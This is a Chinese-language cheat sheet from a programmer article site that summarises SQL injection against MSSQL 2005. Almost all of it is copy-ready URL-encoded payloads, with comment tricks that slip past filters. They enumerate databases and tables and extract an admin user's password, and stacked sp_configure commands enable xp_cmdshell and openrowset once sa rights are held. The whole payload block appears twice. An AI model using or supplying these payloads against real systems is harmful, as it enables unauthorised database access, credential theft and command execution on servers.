mssql2005注入方法小结
程序员文章站
2022-06-11 18:15:46
爆库语句,修改红色部分的数字挨个猜出库 /**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvar...
爆库语句,修改红色部分的数字挨个猜出库
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
爆表语句,somedb部份是所要列的数据库,红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
爆字段语句,爆表admin里user='icerover'的密码段
/**/and/**/(select/**/top/**/1/**/isnull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/from/**/(select/**/top/**/1/**/[password]/**/from/**/[somedb]..[admin]/**/where/**/user='icerover'/**/order/**/by/**/[password])/**/t/**/order/**/by/**/[password]desc)%3d0--
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启
开启openrowset
exec/**/sp_configure/**/'show/**/advanced/**/options',/**/1;reconfigure;--
exec/**/sp_configure/**/'ad/**/hoc/**/distributed/**/queries',/**/1;reconfigure;--
开启xp_cmdshell
exec/**/sp_configure/**/'ad/**/hoc/**/distributed/**/queries',1;reconfigure;--
exec/**/sp_configure/**/'show/**/advanced/**/options',1;reconfigure;exec/**/sp_configure/**/'xp_cmdshell',1;reconfigure;--
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
爆表语句,somedb部份是所要列的数据库,红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
爆字段语句,爆表admin里user='icerover'的密码段
/**/and/**/(select/**/top/**/1/**/isnull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/from/**/(select/**/top/**/1/**/[password]/**/from/**/[somedb]..[admin]/**/where/**/user='icerover'/**/order/**/by/**/[password])/**/t/**/order/**/by/**/[password]desc)%3d0--
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启
开启openrowset
exec/**/sp_configure/**/'show/**/advanced/**/options',/**/1;reconfigure;--
exec/**/sp_configure/**/'ad/**/hoc/**/distributed/**/queries',/**/1;reconfigure;--
开启xp_cmdshell
exec/**/sp_configure/**/'ad/**/hoc/**/distributed/**/queries',1;reconfigure;--
exec/**/sp_configure/**/'show/**/advanced/**/options',1;reconfigure;exec/**/sp_configure/**/'xp_cmdshell',1;reconfigure;--
上一篇: 系统架构设计师-软件水平考试(高级)-理论-项目管理
下一篇: SQL查找某一条记录的方法